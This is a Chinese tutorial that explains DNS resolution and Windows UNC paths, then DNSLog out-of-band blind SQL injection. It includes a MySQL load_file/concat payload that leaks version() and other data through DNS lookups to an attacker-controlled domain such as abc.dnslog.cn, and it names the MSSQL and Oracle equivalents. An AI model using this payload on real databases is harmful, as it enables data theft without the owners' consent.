DNSLog盲注

DNSLog盲注 DNSLog盲注要想理解DNSlog盲注首先要清楚DNS的工作原理一、DNS 域名解析全过程作用DNS把域名解析成 IP 地址完整解析流程1.浏览器缓存检查当你输入网址时浏览器会先在自己的“小本子”里找。如果你近期访问过该网站浏览器会直接从缓存中提取 IP 地址。2.操作系统缓存与 Hosts 文件如果浏览器没找到它会去问操作系统。系统会检查自己的 DNS 缓存并查看本地的 hosts 文件。如果里面有记录解析就此结束。3.本地 DNS 服务器LDNS如果本地没找到请求会发给你的互联网服务提供商ISP即本地 DNS 服务器。这是解析过程的“总调度站”。4.根域名服务器Root Server如果 LDNS 也没有缓存它会去问根服务器。根服务器不负责具体的域名但它会告诉 LDNS“我不知道 google.com但我知道 .com 区域的管理员在哪你去问它。”5.顶级域名服务器TLD ServerLDNS 根据根服务器的指引找到负责 .com 的顶级域名服务器。TLD 服务器会说“我知道这个域名但具体地址在它的授权 DNS 服务器上去那里找。”6.权威 DNS 服务器Authoritative Server这是域名解析的终点站。LDNS 访问该域名的权威服务器通常由云服务商或注册商提供。权威服务器会查表并给出该域名最终对应的 IP 地址。7.结果返回与缓存LDNS 拿到 IP 地址后会赶紧把它存进自己的缓存里方便下次有人问然后把结果扔回给你的电脑。8.建立连接浏览器拿到 IP 地址终于可以向目标服务器发起 TCP 握手开始加载网页内容了以访问 www.baidu.com 为例谁在跑腿递归 vs 迭代实际上你的电脑客户端通常只跑第一步你客户端只问本地 DNS 服务器 (LDNS)“喂www.baidu.com 是多少不知道就帮我去查我只要结果。” 这叫递归查询本地 DNS 服务器它才是那个满世界跑的“外卖员”。它去问根服务器、顶级域服务器直到拿到结果。这叫迭代查询服务器层级的精准划分.baidu.com 服务器和 www.baidu.com 服务器在现实中通常是同一组服务器统称为权威 DNS 服务器。我们可以把这个过程具象化为一个找人的过程根服务器 (.)它不分具体的 baidu 还是 google它只看后缀。它会告诉你“后缀是 .com去问 .com 顶级域服务器。”顶级域 (TLD) 服务器 (.com)它也不直接存 IP。它会告诉你“baidu.com 归百度公司的服务器管去问百度的权威 DNS。”权威 DNS 服务器 (baidu.com)这是终点站。它查了一下自己的数据库告诉你“www 这个主机的 IP 是 110.242.68.4。”核心结论只要发生 DNS 查询请求的“完整域名”一定会被记录二、UNC 路径DNSLog 利用关键1. 什么是 UNC(网络文件共享资源路径)在 Windows 中如果你想访问另一台电脑上的共享文件你通常会输入这样的路径\\192.168.1.100\share\file.txt当你把 IP 地址换成域名时比如\\secret.your-dnslog.com\anyfileWindows 的行为逻辑如下识别路径系统看到\\开头意识到“哦这不是本地文件这是个网络共享路径。”解析域名系统为了找到secret.your-dnslog.com这台机器必须先知道它的 IP。发起 DNS 查询系统会自动向配置的 DNS 服务器询问该域名的 IP。2. load_file() 的“误操作”在 MySQL 中load_file() 函数允许你传入一个路径字符串。如果你传的是 C:/boot.ini它就去读本地硬盘。如果你传的是\\my-hacker-dns.com\abcMySQL 会调用 Windows 的底层文件系统接口去尝试打开这个“网络文件”。重点来了 即使这个网络路径根本不存在或者那个服务器上压根没有 abc 这个文件只要 MySQL 尝试去“看一眼”这个路径Windows 就必须先解析域名。解析一旦发起你的 DNSLog 服务器就会留下记录。3️. 关键点DNSLog 利用的不是文件读取而是“触发 DNS 解析”注意仅 Windows 支持 UNCLinux 无法利用该方式三、DNSLog 盲注原理一句话让数据库访问攻击者域名把数据拼进子域名中带出来DNSlog盲注有固定结构主要分为三部分SELECT load_file(concat(\\\\, [数据], .你的域名\\a));第一部分是\\\\,这里之所以需要四个\是因为SQL中需要转义四个\最后转义为\\符合UNC标准第二部分是[数据]填入要外带的数据就行比如database()、version第三部分是.域名\\a不要漏了域名前的.另外\\a也是为了转义为\,其实\\a并不是必须的但是为了稳定、符合UNC的标准所以随意编造一个不存在的目录a即可示例SELECT load_file(concat(\\\\,version(),.abc.dnslog.cn\\a));实际请求\\5.7.26.abc.dnslog.cn\aDNS 查询5.7.26.abc.dnslog.cnDNSLog 记录5.7.26.abc.dnslog.cn成功获取数据库版本本质数据 → 拼接到域名 → DNS 查询 → 被记录四、核心条件必须满足1数据库能出网能发 DNS 请求2有可用函数数据库方法MySQLload_fileMSSQLxp_dirtree / xp_cmdshellOracleUTL_HTTP